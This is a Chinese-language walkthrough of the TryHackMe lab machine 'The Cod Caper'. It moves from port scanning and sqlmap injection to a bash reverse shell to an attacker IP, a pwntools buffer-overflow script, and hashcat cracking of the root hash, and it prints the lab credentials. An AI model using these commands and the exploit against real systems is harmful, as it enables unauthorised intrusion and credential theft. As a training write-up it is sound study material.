文章目录

  • 概述
    • 端口扫描
  • 80端口漏洞利用
    • Web页面访问
    • 目录扫描
    • SQL注入
    • 命令执行 - 初始立足点
  • 敏感文件查找
  • LinEnum
  • 提权
    • gdb
    • 利用pwntools溢出
    • hashcat破解hash

概述

继续TryHackMe的学习记录,本次靶机为The Cod Caper,内容为从Web漏洞利用到缓冲区溢出提权。

启动靶机后,靶机IP地址为10.10.162.177

端口扫描

nmap端口扫描,发现开了2个端口

nmap -Pn --open 10.10.162.177PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

对80端口进一步探测

nmap -Pn -p80 --open -sC -sV 10.10.162.177PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

对22端口进一步探测

nmap -Pn -p22 --open -sC -sV 10.10.162.177PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
|   256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_  256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口漏洞利用

Web页面访问

直接访问http://10.10.162.177,是Apache默认页面

目录扫描

sudo gobuster dir -u http://10.10.162.177 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x .php,.txt,.html

SQL注入

访问http://10.10.162.177/administrator.php


直接通过sqlmap测试注入,这里注意,无法使用burp记录post的内容,因此不能使用-r参数,改为使用--forms参数

 sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment

进一步利用sqlmap注入,最终得到web应用的账号密码

sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment -D users -T users -C "username,password" --dumpDatabase: users
Table: users
[1 entry]
+----------+------------+
| username | password   |
+----------+------------+
| pingudad | secretpass |
+----------+------------+

命令执行 - 初始立足点

利用账号密码登录系统,得到一个输入框可以执行命令,这里在命令框执行bash -c "bash -i >& /dev/tcp/10.11.13.149/4444 0>&1",在攻击机10.11.13.149得到反弹shell,得到初始立足点,此时的用户为www-data

敏感文件查找

根据靶机提示,需要使用find命令查找敏感文件
···
$ find / -user www-data -type f 2>/dev/null
···

除了web应用文件外,找到一个/var/hidden/pass文件可以以www-data打开得到密码pinguapingu

LinEnum

根据靶机提示,需要使用LinEnum查找可提权的点,利用已有账号pingu:pinguapingu,通过scp命令向靶机传送文件LinEnum.sh,放在/tmp目录下,运行枚举

chmod +x LinEnum.sh
./LinEnum.sh

发现文件/opt/secret/root

提权

根据靶机提示,已经有此文件的源代码

#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}void get_input(){
char buffer[32];
scanf("%s",buffer);
}int main(){
get_input();
}

首先查看/opt/secret/root的保护措施,可以看到没开启任何保护措施

分析源代码,可以看到main()调用get_input()函数,其有一个buffer缓冲,并用scanf()接收输入,不进行边界检查,能够导致缓冲区溢出,是我们控制程序控制流(通过控制寄存器EIP实现),进行执行shell(),读取cat /var/backups/shadow.bak

gdb

要进行缓冲区溢出,需要首先确认偏移,使其覆盖缓冲区与ebp直到eip,这里使用gdb实现,使用了pwndbg插件

首先生成填充字符

cyclic 100

输入上述字符串得到异常,提示Invalid address 0x6161616c

通过命令 cyclic -l 0x6161616c确认偏移为44

利用pwntools溢出

p = process('./root')
elf = ELF('./root', checksec=False)offset = 44
shell_addr = elf.symbols['shell']
payload = 'A' * offset + p32(shell_addr)
p.sendline(payload)
p.interactive()


得到root的hash值$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.

hashcat破解hash

使用hashcat破解

sudo hashcat -m 1800 password.txt rockyou.txt  --force
sudo hashcat -m 1800  password.txt ~/tmp/rockyou.txt  --show
$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish

得到密码为love2fish,得到完全的靶机控制权限

TryHackMe学习笔记-The Cod Caper相关推荐

  1. TryHackMe学习笔记-Windows PrivEsc Arena

    文章目录 Task 1 Connecting to TryHackMe network Task 2 Deploy the vulnerable machine Task 3 Registry Esc ...

  2. Git 学习笔记:自定义Git(完)

    前言 在补习python的时候主要参考的是廖雪峰的教程Python教程,在学习完后准备完成期末作业时,遇到了一个技术难题,需要初步掌握git,因此开始了git的学习. 本教程参考廖雪峰的Git教程 G ...

  3. 廖雪峰Git教程学习笔记

    廖雪峰git简单教程学习笔记 教程地址:https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b ...

  4. PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call

    您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...

  5. 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  6. 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  7. 2020年Yann Lecun深度学习笔记(下)

    2020年Yann Lecun深度学习笔记(下)

  8. 2020年Yann Lecun深度学习笔记(上)

    2020年Yann Lecun深度学习笔记(上)

  9. 知识图谱学习笔记(1)

    知识图谱学习笔记第一部分,包含RDF介绍,以及Jena RDF API使用 知识图谱的基石:RDF RDF(Resource Description Framework),即资源描述框架,其本质是一个 ...

最新文章

  1. 检测到目标服务器启用了trace方法_综述:目标检测中的多尺度检测方法
  2. tf.InteractiveSession()与tf.Session()
  3. struts2的bean标签和set标签
  4. PHP密码问题陈婷代码_PHP实现登录注册
  5. mysql 汉编码 的选_peewee连接mysql汉语言数据编码_mysql
  6. MooTools1.3.1 API(Core)学习及试译(三)——Types(二)
  7. 让人欲罢不能的量子学
  8. linux中的特殊文件权限
  9. SDL2源代码分析1:初始化(SDL_Init())
  10. 计算机术语解ssh,将Bash脚本SSH到计算机中而不提示密码和不使用密钥
  11. 用android实现GB28181前端设备接入平台
  12. Linus最高产,2021 Linux内核开发统计出炉
  13. 正则表达式系列:匹配正数、负数和小数 (正负整数)
  14. 超大背包问题(01背包)
  15. android fragment 白屏,当应用Crash后fragment出现白屏
  16. 友善之臂(FriendlyArm)NanoPi无线网络设置
  17. Conditional Likelihood Maximisation: A Unifying Framework for Information Theoretic Feature Selecti
  18. 后端进度报告(2018.5.17)
  19. Cause: java.sql.SQLException: SQL String cannot be empty 解决方案
  20. 云南省二级c计算机考试试题,2015云南省计算机等级考试试题 二级C试题最新考试试题库(完整版)...

热门文章

  1. InVEST模型——的人类活动、重大工程生态成效评估、论文写作
  2. SQL Sever触发器的基本语法与作用
  3. Linux内核SCSI子系统(1)基本介绍
  4. 关于光模块的兼容性和质量问题
  5. Unity实现获取Windows系统声音并实现可视化
  6. Android、IOS客户端RSA密钥生成
  7. 常用金属材料 钢管材料
  8. 2021年R1快开门式压力容器操作考试题及R1快开门式压力容器操作考试技巧
  9. PLC与上位机的socket通讯——ABB机器人程序(三)
  10. oracle loip,配置数据链路、IP 接口和 IP 地址